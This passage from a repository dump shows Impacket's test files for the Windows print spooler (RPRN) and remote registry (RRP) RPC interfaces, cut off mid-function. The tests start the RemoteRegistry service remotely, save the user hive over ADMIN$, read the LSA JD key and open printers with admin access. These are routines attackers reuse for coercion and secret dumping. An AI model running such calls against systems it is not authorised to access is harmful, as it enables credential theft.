    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Tested so far:\n#   (h)RpcEnumPrinters\n#   (h)RpcOpenPrinter\n#   (h)RpcClosePrinter\n#   (h)RpcOpenPrinterEx\n#   (h)RpcRemoteFindFirstPrinterChangeNotificationEx\n# Not yet\n#   RpcEnumPrinterDrivers\n#   RpcAddPrinterDriverEx\n#\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport pytest\nimport unittest\nfrom six import assertRaisesRegex\nfrom tests.dcerpc import DCERPCTests\n\nfrom impacket.dcerpc.v5 import rprn\nfrom impacket.dcerpc.v5.dtypes import NULL\nfrom impacket.structure import hexdump\n\n\nclass RPRNTests(DCERPCTests):\n    iface_uuid = rprn.MSRPC_UUID_RPRN\n    string_binding = r'ncacn_np:{0.machine}[\\PIPE\\spoolss]'\n    authn = True\n\n    def test_RpcEnumPrinters(self):\n        dce, rpctransport = self.connect()\n        request = rprn.RpcEnumPrinters()\n        request['Flags'] = rprn.PRINTER_ENUM_LOCAL\n        request['Name'] = NULL\n        request['pPrinterEnum'] = NULL\n        request['Level'] = 1\n        request.dump()\n\n        with assertRaisesRegex(self, rprn.DCERPCSessionError, \"ERROR_INSUFFICIENT_BUFFER\") as cm:\n            dce.request(request)\n        bytesNeeded = cm.exception.get_packet()['pcbNeeded']\n\n        request = rprn.RpcEnumPrinters()\n        request['Flags'] = rprn.PRINTER_ENUM_LOCAL\n        request['Name'] = NULL\n        request['Level'] = 1\n\n        request['cbBuf'] = bytesNeeded\n        request['pPrinterEnum'] = b'a'*bytesNeeded\n\n        request.dump()\n        resp = dce.request(request)\n        resp.dump()\n        hexdump(b''.join(resp['pPrinterEnum']))\n\n    def test_hRpcEnumPrinters(self):\n        dce, rpctransport = self.connect()\n        resp = rprn.hRpcEnumPrinters(dce, rprn.PRINTER_ENUM_LOCAL, NULL, 1)\n        hexdump(b''.join(resp['pPrinterEnum']))\n\n    def test_RpcOpenPrinter(self):\n        dce, rpctransport = self.connect()\n        request = rprn.RpcOpenPrinter()\n        request['pPrinterName'] = \"\\\\\\\\%s\\x00\" % self.machine\n        request['pDatatype'] = NULL\n        request['pDevModeContainer']['pDevMode'] = NULL\n        request['AccessRequired'] = rprn.SERVER_READ\n        request.dump()\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hRpcOpenPrinter(self):\n        dce, rpctransport = self.connect()\n        resp = rprn.hRpcOpenPrinter(dce, '\\\\\\\\%s\\x00' % self.machine)\n        resp.dump()\n\n    def test_RpcGetPrinterDriverDirectory(self):\n        dce, rpctransport = self.connect()\n        request = rprn.RpcGetPrinterDriverDirectory()\n        request['pName'] = NULL\n        request['pEnvironment'] = NULL\n        request['Level'] = 1\n        request['pDriverDirectory'] = NULL\n        request['cbBuf'] = 0\n        request.dump()\n        with assertRaisesRegex(self, rprn.DCERPCSessionError, \"ERROR_INSUFFICIENT_BUFFER\"):\n            dce.request(request)\n\n    def test_hRpcGetPrinterDriverDirectory(self):\n        dce, rpctransport = self.connect()\n        resp = rprn.hRpcGetPrinterDriverDirectory(dce, NULL, NULL, 1)\n        resp.dump()\n\n    def test_RpcClosePrinter(self):\n        dce, rpctransport = self.connect()\n\n        request = rprn.RpcOpenPrinter()\n        request['pPrinterName'] = \"\\\\\\\\%s\\x00\" % self.machine\n        request['pDatatype'] = NULL\n        request['pDevModeContainer']['pDevMode'] = NULL\n        request['AccessRequired'] = rprn.SERVER_READ\n        request.dump()\n        resp = dce.request(request)\n        resp.dump()\n\n        request = rprn.RpcClosePrinter()\n        request['phPrinter'] = resp['pHandle']\n        request.dump()\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hRpcClosePrinter(self):\n        dce, rpctransport = self.connect()\n        resp = rprn.hRpcOpenPrinter(dce, \"\\\\\\\\%s\\x00\" % self.machine)\n        resp.dump()\n        resp = rprn.hRpcClosePrinter(dce, resp['pHandle'])\n        resp.dump()\n\n    def test_RpcOpenPrinterEx(self):\n        dce, rpctransport = self.connect()\n        request = rprn.RpcOpenPrinterEx()\n        request['pPrinterName'] = \"\\\\\\\\%s\\x00\" % self.machine\n        request['pDatatype'] = NULL\n        request['AccessRequired'] = rprn.SERVER_READ\n        request['pDevModeContainer']['pDevMode'] = NULL\n        request['pClientInfo']['Level'] = 1\n        request['pClientInfo']['ClientInfo']['tag'] = 1\n        request['pClientInfo']['ClientInfo']['pClientInfo1']['dwSize'] = 28\n        request['pClientInfo']['ClientInfo']['pClientInfo1']['pMachineName'] = \"%s\\x00\" % self.machine\n        request['pClientInfo']['ClientInfo']['pClientInfo1']['pUserName'] = \"%s\\\\%s\\x00\" % (self.domain, self.username)\n        request['pClientInfo']['ClientInfo']['pClientInfo1']['dwBuildNum'] = 0x0\n        request['pClientInfo']['ClientInfo']['pClientInfo1']['dwMajorVersion'] = 0x00000000\n        request['pClientInfo']['ClientInfo']['pClientInfo1']['dwMinorVersion'] = 0x00000000\n        request['pClientInfo']['ClientInfo']['pClientInfo1']['wProcessorArchitecture'] = 0x0009\n        request.dump()\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hRpcOpenPrinterEx(self):\n        dce, rpctransport = self.connect()\n        clientInfo = rprn.SPLCLIENT_CONTAINER()\n        clientInfo['Level'] = 1\n        clientInfo['ClientInfo']['tag'] = 1\n        clientInfo['ClientInfo']['pClientInfo1']['dwSize'] = 28\n        clientInfo['ClientInfo']['pClientInfo1']['pMachineName'] = \"%s\\x00\" % self.machine\n        clientInfo['ClientInfo']['pClientInfo1']['pUserName'] = \"%s\\\\%s\\x00\" % (self.domain, self.username)\n        clientInfo['ClientInfo']['pClientInfo1']['dwBuildNum'] = 0x0\n        clientInfo['ClientInfo']['pClientInfo1']['dwMajorVersion'] = 0x00000000\n        clientInfo['ClientInfo']['pClientInfo1']['dwMinorVersion'] = 0x00000000\n        clientInfo['ClientInfo']['pClientInfo1']['wProcessorArchitecture'] = 0x0009\n\n        resp = rprn.hRpcOpenPrinterEx(dce, \"\\\\\\\\%s\\x00\" % self.machine, pClientInfo=clientInfo)\n        resp.dump()\n\n    def test_RpcRemoteFindFirstPrinterChangeNotificationEx(self):\n        dce, rpctransport = self.connect()\n\n        request = rprn.RpcOpenPrinter()\n        request['pPrinterName'] = \"\\\\\\\\%s\\x00\" % self.machine\n        request['pDatatype'] = NULL\n        request['pDevModeContainer']['pDevMode'] = NULL\n        request['AccessRequired'] = rprn.SERVER_READ | rprn.SERVER_ALL_ACCESS | rprn.SERVER_ACCESS_ADMINISTER\n        request.dump()\n        resp = dce.request(request)\n        resp.dump()\n\n        request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()\n        request['hPrinter'] = resp['pHandle']\n        request['fdwFlags'] = rprn.PRINTER_CHANGE_ADD_JOB\n        request['pszLocalMachine'] = \"\\\\\\\\%s\\x00\" % self.machine\n        request['pOptions'] = NULL\n        request.dump()\n        with assertRaisesRegex(self, rprn.DCERPCSessionError, \"ERROR_INVALID_HANDLE\"):\n            dce.request(request)\n\n    def test_hRpcRemoteFindFirstPrinterChangeNotificationEx(self):\n        dce, rpctransport = self.connect()\n\n        resp = rprn.hRpcOpenPrinter(dce, \"\\\\\\\\%s\\x00\" % self.machine)\n\n        with assertRaisesRegex(self, rprn.DCERPCSessionError, \"ERROR_INVALID_HANDLE\"):\n            rprn.hRpcRemoteFindFirstPrinterChangeNotificationEx(dce, resp['pHandle'],\n                                                                rprn.PRINTER_CHANGE_ADD_JOB,\n                                                                pszLocalMachine=\"\\\\\\\\%s\\x00\" % self.machine)\n\n\n@pytest.mark.remote\nclass RPRNTestsSMBTransport(RPRNTests, unittest.TestCase):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR\n\n\n@pytest.mark.remote\nclass RPRNTestsSMBTransport64(RPRNTests, unittest.TestCase):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64\n\n\n# Process command-line arguments.\nif __name__ == \"__main__\":\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dcerpc/test_rrp.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Tested so far:\n#   OpenClassesRoot\n#   OpenCurrentUser\n#   OpenLocalMachine\n#   OpenPerformanceData\n#   OpenUsers\n#   BaseRegCloseKey\n#   (h)BaseRegCreateKey\n#   (h)BaseRegSetValue\n#   (h)BaseRegDeleteKey\n#   (h)BaseRegEnumKey\n#   (h)BaseRegEnumValue\n#   BaseRegFlushKey\n#   BaseRegGetKeySecurity\n#   BaseRegOpenKey\n#   hBaseRegQueryInfoKey\n#   (h)BaseRegQueryValue\n#   (h)BaseRegReplaceKey\n#   (h)BaseRegRestoreKey\n#   (h)BaseRegSaveKey\n#   (h)BaseRegGetVersion\n#   (h)OpenCurrentConfig\n#   (h)BaseRegQueryMultipleValues\n#   (h)BaseRegSaveKeyEx\n#   (h)OpenPerformanceText\n#   (h)OpenPerformanceNlsText\n#   BaseRegQueryMultipleValues2\n#   BaseRegDeleteKeyEx\n#   (h)BaseRegLoadKey\n#   (h)BaseRegUnLoadKey\n#   hBaseRegDeleteValue\n# Not yet:\n#   BaseRegSetKeySecurity\n#\nfrom __future__ import division\nfrom __future__ import print_function\nimport pytest\nimport unittest\nfrom tests.dcerpc import DCERPCTests\n\nfrom impacket.dcerpc.v5 import transport\nfrom impacket.dcerpc.v5 import rrp, scmr\nfrom impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, OWNER_SECURITY_INFORMATION\n\n\nclass RRPTests(DCERPCTests):\n    iface_uuid = rrp.MSRPC_UUID_RRP\n    string_binding = r\"ncacn_np:{0.machine}[\\PIPE\\winreg]\"\n    authn = True\n\n    test_key = \"BETO\\x00\"\n    test_value_name = \"BETO2\\x00\"\n    test_value_data = \"HOLA COMO TE VA\\x00\"\n\n    def setUp(self):\n        super(RRPTests, self).setUp()\n        self.rrp_started = False\n\n    def connect_scmr(self):\n        rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\\pipe\\svcctl]' % self.machine)\n        if hasattr(rpctransport, 'set_credentials'):\n            # This method exists only for selected protocol sequences.\n            rpctransport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash)\n        dce = rpctransport.get_dce_rpc()\n        # dce.set_max_fragment_size(32)\n        dce.connect()\n        dce.bind(scmr.MSRPC_UUID_SCMR)\n        return dce, rpctransport\n\n    def open_scmanager(self, dce):\n        lpMachineName = 'DUMMY\\x00'\n        lpDatabaseName = 'ServicesActive\\x00'\n        desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | \\\n                        scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | \\\n                        scmr.SERVICE_ENUMERATE_DEPENDENTS | scmr.SC_MANAGER_ENUMERATE_SERVICE\n        resp = scmr.hROpenSCManagerW(dce, lpMachineName, lpDatabaseName, desiredAccess)\n        sc_handle = resp['lpScHandle']\n        return sc_handle\n\n    def start_rrp_service(self, dce, sc_handle):\n        desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | \\\n                        scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS\n\n        resp = scmr.hROpenServiceW(dce, sc_handle, 'RemoteRegistry\\x00', desiredAccess)\n        serviceHandle = resp['lpServiceHandle']\n        try:\n            scmr.hRStartServiceW(dce, serviceHandle)\n        except Exception as e:\n            if str(e).find('ERROR_SERVICE_ALREADY_RUNNING') >= 0:\n                pass\n            else:\n                raise\n        scmr.hRCloseServiceHandle(dce, sc_handle)\n        self.rrp_started = True\n\n    def connect(self):\n        if not self.rrp_started:\n            dce, rpctransport = self.connect_scmr()\n            sc_handle = self.open_scmanager(dce)\n            self.start_rrp_service(dce, sc_handle)\n        return super(RRPTests, self).connect()\n\n    def open_local_machine(self, dce):\n        resp = rrp.hOpenLocalMachine(dce, MAXIMUM_ALLOWED | rrp.KEY_WOW64_32KEY | rrp.KEY_ENUMERATE_SUB_KEYS)\n        return resp['phKey']\n\n    def test_OpenClassesRoot(self):\n        dce, rpctransport = self.connect()\n        request = rrp.OpenClassesRoot()\n        request['ServerName'] = NULL\n        request['samDesired'] = MAXIMUM_ALLOWED\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_OpenCurrentUser(self):\n        dce, rpctransport = self.connect()\n        request = rrp.OpenCurrentUser()\n        request['ServerName'] = NULL\n        request['samDesired'] = MAXIMUM_ALLOWED\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_OpenLocalMachine(self):\n        dce, rpctransport = self.connect()\n        request = rrp.OpenLocalMachine()\n        request['ServerName'] = NULL\n        request['samDesired'] = MAXIMUM_ALLOWED\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_OpenPerformanceData(self):\n        dce, rpctransport = self.connect()\n        request = rrp.OpenPerformanceData()\n        request['ServerName'] = NULL\n        request['samDesired'] = MAXIMUM_ALLOWED\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_OpenUsers(self):\n        dce, rpctransport = self.connect()\n        request = rrp.OpenUsers()\n        request['ServerName'] = NULL\n        request['samDesired'] = MAXIMUM_ALLOWED\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_BaseRegCloseKey(self):\n        dce, rpctransport = self.connect()\n        phKey = self.open_local_machine(dce)\n        request = rrp.BaseRegCloseKey()\n        request['hKey'] = phKey\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hBaseRegCreateKey_hBaseRegSetValue_hBaseRegDeleteKey(self):\n        dce, rpctransport = self.connect()\n        resp = rrp.hOpenClassesRoot(dce)\n        resp.dump()\n        regHandle = resp['phKey']\n\n        resp = rrp.hBaseRegCreateKey(dce, regHandle, self.test_key)\n        resp.dump()\n        phKey = resp['phkResult']\n\n        try: \n            resp = rrp.hBaseRegSetValue(dce, phKey, self.test_value_name,  rrp.REG_SZ, self.test_value_data)\n            resp.dump()\n        except Exception as e:\n            print(e)\n\n        type, data = rrp.hBaseRegQueryValue(dce, phKey, self.test_value_name)\n\n        resp = rrp.hBaseRegDeleteValue(dce, phKey, self.test_value_name)\n        resp.dump()\n\n        resp = rrp.hBaseRegDeleteKey(dce, regHandle, self.test_key)\n        resp.dump()\n        self.assertEqual(self.test_value_data, data)\n\n    def test_BaseRegCreateKey_BaseRegSetValue_BaseRegDeleteKey(self):\n        dce, rpctransport = self.connect()\n        request = rrp.OpenClassesRoot()\n        request['ServerName'] = NULL\n        request['samDesired'] = MAXIMUM_ALLOWED \n        resp = dce.request(request)\n        resp.dump()\n        regHandle = resp['phKey']\n\n        request = rrp.BaseRegCreateKey()\n        request['hKey'] = regHandle\n        request['lpSubKey'] = self.test_key\n        request['lpClass'] = NULL\n        request['dwOptions'] = 0x00000001\n        request['samDesired'] = MAXIMUM_ALLOWED\n        request['lpSecurityAttributes']['RpcSecurityDescriptor']['lpSecurityDescriptor'] = NULL\n        request['lpdwDisposition'] = rrp.REG_CREATED_NEW_KEY\n        resp = dce.request(request)\n        resp.dump()\n        phKey = resp['phkResult']\n\n        request = rrp.BaseRegSetValue()\n        request['hKey'] = phKey\n        request['lpValueName'] = self.test_value_name\n        request['dwType'] = rrp.REG_SZ\n        request['lpData'] = self.test_value_data.encode('utf-16le')\n        request['cbData'] = len(self.test_value_data)*2\n        \n        try: \n            resp = dce.request(request)\n            resp.dump()\n        except Exception as e:\n            print(e)\n\n        request = rrp.BaseRegQueryValue()\n        request['hKey'] = phKey\n        request['lpValueName'] = self.test_value_name\n        request['lpData'] = b' '*100\n        request['lpcbData'] = 100\n        request['lpcbLen'] = 100\n        resp = dce.request(request)\n        resp.dump()\n        resData = resp['lpData']\n\n        request = rrp.BaseRegDeleteKey()\n        request['hKey'] = regHandle\n        request['lpSubKey'] = self.test_key\n        resp = dce.request(request)\n        resp.dump()\n        print(b''.join(resData).decode('utf-16le'))\n        self.assertEqual(self.test_value_data, b''.join(resData).decode('utf-16le'))\n\n    def test_BaseRegEnumKey(self):\n        dce, rpctransport = self.connect()\n        phKey = self.open_local_machine(dce)\n\n        request = rrp.BaseRegOpenKey()\n        request['hKey'] = phKey\n        request['lpSubKey'] = 'SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\x00'\n        request['dwOptions'] = 0x00000001\n        request['samDesired'] = MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS\n        resp = dce.request(request)\n\n        request = rrp.BaseRegEnumKey()\n        request['hKey'] = resp['phkResult']\n        request['dwIndex'] = 1\n        # I gotta access the fields manually :s\n        request.fields['lpNameIn'].fields['MaximumLength'] = 510\n        request.fields['lpNameIn'].fields['Data'].fields['Data'].fields['MaximumCount'] = 255\n        request['lpClassIn'] = ' '*100\n        request['lpftLastWriteTime'] = NULL\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hBaseRegEnumKey(self):\n        dce, rpctransport = self.connect()\n        phKey = self.open_local_machine(dce)\n\n        request = rrp.BaseRegOpenKey()\n        request['hKey'] = phKey\n        request['lpSubKey'] = 'SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\x00'\n        request['dwOptions'] = 0x00000001\n        request['samDesired'] = MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS\n        resp = dce.request(request)\n\n        resp = rrp.hBaseRegEnumKey(dce, resp['phkResult'], 1)\n        resp.dump()\n\n    def test_BaseRegEnumValue(self):\n        dce, rpctransport = self.connect()\n        phKey = self.open_local_machine(dce)\n\n        request = rrp.BaseRegOpenKey()\n        request['hKey'] = phKey\n        request['lpSubKey'] = 'SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\x00'\n        request['dwOptions'] = 0x00000001\n        request['samDesired'] = MAXIMUM_ALLOWED\n        resp = dce.request(request)\n\n        request = rrp.BaseRegEnumValue()\n        request['hKey'] = resp['phkResult']\n        request['dwIndex'] = 6\n        request['lpValueNameIn'] = ' '*100\n        request['lpData'] = b' '*100\n        request['lpcbData'] = 100\n        request['lpcbLen'] = 100\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hBaseRegEnumValue(self):\n        dce, rpctransport = self.connect()\n        phKey = self.open_local_machine(dce)\n\n        request = rrp.BaseRegOpenKey()\n        request['hKey'] = phKey\n        request['lpSubKey'] = 'SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\x00'\n        request['dwOptions'] = 0x00000001\n        request['samDesired'] = MAXIMUM_ALLOWED\n        resp = dce.request(request)\n\n        resp = rrp.hBaseRegEnumValue(dce, resp['phkResult'], 6, 100)\n        resp.dump()\n\n    def test_BaseRegFlushKey(self):\n        dce, rpctransport = self.connect()\n        phKey = self.open_local_machine(dce)\n        resp = rrp.hBaseRegFlushKey(dce, phKey)\n        resp.dump()\n\n    def test_BaseRegGetKeySecurity(self):\n        dce, rpctransport = self.connect()\n        phKey = self.open_local_machine(dce)\n        resp = rrp.hBaseRegGetKeySecurity(dce, phKey, OWNER_SECURITY_INFORMATION)\n        resp.dump()\n\n    def test_BaseRegOpenKey(self):\n        dce, rpctransport = self.connect()\n        phKey = self.open_local_machine(dce)\n        request = rrp.BaseRegOpenKey()\n        request['hKey'] = phKey\n        request['lpSubKey'] = 'SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\x00'\n        request['dwOptions'] = 0x00000001\n        request['samDesired'] = MAXIMUM_ALLOWED\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hBaseRegQueryInfoKey(self):\n        dce, rpctransport = self.connect()\n        phKey = self.open_local_machine(dce)\n        resp = rrp.hBaseRegOpenKey(dce, phKey, 'SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\JD\\x00')\n\n        resp = rrp.hBaseRegQueryInfoKey(dce, resp['phkResult'])\n        resp.dump()\n\n    def test_BaseRegQueryValue(self):\n        dce, rpctransport = self.connect()\n        phKey = self.open_local_machine(dce)\n\n        request = rrp.BaseRegOpenKey()\n        request['hKey'] = phKey\n        request['lpSubKey'] = 'SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\x00'\n        request['dwOptions'] = 0x00000001\n        request['samDesired'] = MAXIMUM_ALLOWED\n        resp = dce.request(request)\n        resp.dump()\n\n        request = rrp.BaseRegQueryValue()\n        request['hKey'] = resp['phkResult']\n        request['lpValueName'] = 'ProductName\\x00'\n        request['lpData'] = b' '*100\n        request['lpcbData'] = 100\n        request['lpcbLen'] = 100\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hBaseRegQueryValue(self):\n        dce, rpctransport = self.connect()\n        phKey = self.open_local_machine(dce)\n\n        resp = rrp.hBaseRegOpenKey(dce, phKey, 'SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\x00')\n        resp.dump()\n\n        rrp.hBaseRegQueryValue(dce, resp['phkResult'], 'ProductName\\x00')\n        \n    def test_BaseRegReplaceKey(self):\n        dce, rpctransport = self.connect()\n        phKey = self.open_local_machine(dce)\n\n        request = rrp.BaseRegReplaceKey()\n        request['hKey'] = phKey\n        request['lpSubKey'] = 'SOFTWARE\\x00'\n        request['lpNewFile'] = 'SOFTWARE\\x00'\n        request['lpOldFile'] = 'SOFTWARE\\x00'\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except Exception as e:\n            if str(e).find('ERROR_FILE_NOT_FOUND') < 0:\n                raise\n\n    def test_hBaseRegReplaceKey(self):\n        dce, rpctransport = self.connect()\n        phKey = self.open_local_machine(dce)\n\n        try:\n            resp = rrp.hBaseRegReplaceKey(dce, phKey, 'SOFTWARE\\x00', 'SOFTWARE\\x00', 'SOFTWARE\\x00')\n            resp.dump()\n        except Exception as e:\n            if str(e).find('ERROR_FILE_NOT_FOUND') < 0:\n                raise\n\n    def test_BaseRegRestoreKey(self):\n        dce, rpctransport = self.connect()\n        phKey = self.open_local_machine(dce)\n\n        request = rrp.BaseRegRestoreKey()\n        request['hKey'] = phKey\n        request['lpFile'] = 'SOFTWARE\\x00'\n        request['Flags'] = rrp.REG_REFRESH_HIVE\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except Exception as e:\n            if str(e).find('ERROR_FILE_NOT_FOUND') < 0:\n                raise\n\n    def test_hBaseRegRestoreKey(self):\n        dce, rpctransport = self.connect()\n        phKey = self.open_local_machine(dce)\n\n        try:\n            resp = rrp.hBaseRegRestoreKey(dce, phKey, 'SOFTWARE\\x00')\n            resp.dump()\n        except Exception as e:\n            if str(e).find('ERROR_FILE_NOT_FOUND') < 0:\n                raise\n\n    def test_BaseRegSaveKey(self):\n        dce, rpctransport = self.connect()\n\n        request = rrp.OpenCurrentUser()\n        request['ServerName'] = NULL\n        request['samDesired'] = MAXIMUM_ALLOWED\n        resp = dce.request(request)\n        resp.dump()\n\n        request = rrp.BaseRegSaveKey()\n        request['hKey'] = resp['phKey']\n        request['lpFile'] = 'BETUSFILE2\\x00'\n        request['pSecurityAttributes'] = NULL\n        resp = dce.request(request)\n        resp.dump()\n        # I gotta remove the file now :s\n        smb = rpctransport.get_smb_connection()\n        smb.deleteFile('ADMIN$', 'System32\\\\BETUSFILE2')\n\n    def test_hBaseRegSaveKey(self):\n        dce, rpctransport = self.connect()\n\n        resp = rrp.hOpenCurrentUser(dce)\n        resp.dump()\n\n        resp = rrp.hBaseRegSaveKey(dce, resp['phKey'], 'BETUSFILE2\\x00')\n        resp.dump()\n        # I gotta remove the file now :s\n        smb = rpctransport.get_smb_connection()\n        smb.deleteFile('ADMIN$', 'System32\\\\BETUSFILE2')\n\n    def test_BaseRegGetVersion(self):\n        dce, rpctransport = self.connect()\n        phKey = self.open_local_machine(dce)\n\n        request = rrp.BaseRegGetVersion()\n        request['hKey'] = phKey\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hBaseRegGetVersion(self):\n        dce, rpctransport = self.connect()\n        phKey = self.open_local_machine(dce)\n\n        resp = rrp.hBaseRegGetVersion(dce, phKey)\n        resp.dump()\n\n    def test_OpenCurrentConfig(self):\n        dce, rpctransport = self.connect()\n\n        request = rrp.OpenCurrentConfig()\n        request['ServerName'] = NULL\n        request['samDesired'] = MAXIMUM_ALLOWED\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hOpenCurrentConfig(self):\n        dce, rpctransport = self.connect()\n\n        resp = rrp.hOpenCurrentConfig(dce)\n        resp.dump()\n\n    def test_BaseRegQueryMultipleValues(self):\n        dce, rpctransport = self.connect()\n        phKey = self.open_local_machine(dce)\n\n        request = rrp.BaseRegOpenKey()\n        request['hKey'] = phKey\n        request['lpSubKey'] = 'SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\x00'\n        request['dwOptions'] = 0x00000001\n        request['samDesired'] = MAXIMUM_ALLOWED | rrp.KEY_QUERY_VALUE\n        resp = dce.request(request)\n        resp.dump()\n\n        request = rrp.BaseRegQueryMultipleValues()\n\n        item1 = rrp.RVALENT()\n        item1['ve_valuename'] = 'ProductName\\x00'\n        item1['ve_valuelen'] = len('ProductName\\x00')\n        item1['ve_valueptr'] = NULL\n        item1['ve_type'] = rrp.REG_SZ\n         \n        item2 = rrp.RVALENT()\n        item2['ve_valuename'] = 'SystemRoot\\x00'\n        item2['ve_valuelen'] = len('SystemRoot\\x00')\n        item1['ve_valueptr'] = NULL\n        item2['ve_type'] = rrp.REG_SZ\n\n        item3 = rrp.RVALENT()\n        item3['ve_valuename'] = 'EditionID\\x00'\n        item3['ve_valuelen'] = len('EditionID\\x00')\n        item3['ve_valueptr'] = NULL\n        item3['ve_type'] = rrp.REG_SZ\n\n        request['hKey'] = resp['phkResult']\n        request['val_listIn'].append(item1)\n        request['val_listIn'].append(item2)\n        request['val_listIn'].append(item3)\n        request['num_vals'] = len(request['val_listIn'])\n        request['lpvalueBuf'] = list(b' '*128)\n        request['ldwTotsize'] = 128\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hBaseRegQueryMultipleValues(self):\n        dce, rpctransport = self.connect()\n        phKey = self.open_local_machine(dce)\n\n        resp = rrp.hBaseRegOpenKey(dce, phKey, 'SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\x00')\n        resp.dump()\n\n        valueIn = list()\n        item1 = {}\n        item1['ValueName'] = 'ProductName\\x00'\n        item1['ValueType'] = rrp.REG_SZ\n        valueIn.append(item1)\n         \n        item2 = {}\n        item2['ValueName'] = 'InstallDate\\x00'\n        item2['ValueType'] = rrp.REG_DWORD\n        valueIn.append(item2)\n\n        item3 = {}\n        item3['ValueName'] = 'DigitalProductId\\x00'\n        item3['ValueType'] = rrp.REG_BINARY\n        #valueIn.append(item3)\n\n        rrp.hBaseRegQueryMultipleValues(dce, resp['phkResult'], valueIn)\n\n    def test_BaseRegSaveKeyEx(self):\n        dce, rpctransport = self.connect()\n\n        request = rrp.OpenCurrentUser()\n        request['ServerName'] = NULL\n        request['samDesired'] = MAXIMUM_ALLOWED\n        resp = dce.request(request)\n        resp.dump()\n\n        request = rrp.BaseRegSaveKeyEx()\n        request['hKey'] = resp['phKey']\n        request['lpFile'] = 'BETUSFILE2\\x00'\n        request['pSecurityAttributes'] = NULL\n        request['Flags'] = 4\n        resp = dce.request(request)\n        resp.dump()\n        # I gotta remove the file now :s\n        smb = rpctransport.get_smb_connection()\n        smb.deleteFile('ADMIN$', 'System32\\\\BETUSFILE2')\n\n    def test_hBaseRegSaveKeyEx(self):\n        dce, rpctransport = self.connect()\n\n        resp = rrp.hOpenCurrentUser(dce)\n        resp.dump()\n\n        resp = rrp.hBaseRegSaveKeyEx(dce, resp['phKey'], 'BETUSFILE2\\x00')\n        resp.dump()\n        # I gotta remove the file now :s\n        smb = rpctransport.get_smb_connection()\n        smb.deleteFile('ADMIN$', 'System32\\\\BETUSFILE2')\n\n    def test_OpenPerformanceText(self):\n        dce, rpctransport = self.connect()\n\n        request = rrp.OpenPerformanceText()\n        request['ServerName'] = NULL\n        request['samDesired'] = MAXIMUM_ALLOWED\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hOpenPerformanceText(self):\n        dce, rpctransport = self.connect()\n\n        resp = rrp.hOpenPerformanceText(dce)\n        resp.dump()\n\n    def test_OpenPerformanceNlsText(self):\n        dce, rpctransport = self.connect()\n\n        request = rrp.OpenPerformanceNlsText()\n        request['ServerName'] = NULL\n        request['samDesired'] = MAXIMUM_ALLOWED\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hOpenPerformanceNlsText(self):\n        dce, rpctransport = self.connect()\n\n        resp = rrp.hOpenPerformanceNlsText(dce)\n        resp.dump()\n\n    def test_BaseRegQueryMultipleValues2(self):\n        dce, rpctransport = self.connect()\n        phKey = self.open_local_machine(dce)\n\n        request = rrp.BaseRegOpenKey()\n        request['hKey'] = phKey\n        request['lpSubKey'] = 'SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\x00'\n        request['dwOptions'] = 0x00000001\n        request['samDesired'] = MAXIMUM_ALLOWED | rrp.KEY_QUERY_VALUE\n        resp = dce.request(request)\n        resp.dump()\n\n        request = rrp.BaseRegQueryMultipleValues2()\n\n        item1 = rrp.RVALENT()\n        item1['ve_valuename'] = 'ProductName\\x00'\n        item1['ve_valuelen'] = len('ProductName\\x00')\n        item1['ve_valueptr'] = NULL\n        item1['ve_type'] = rrp.REG_SZ\n   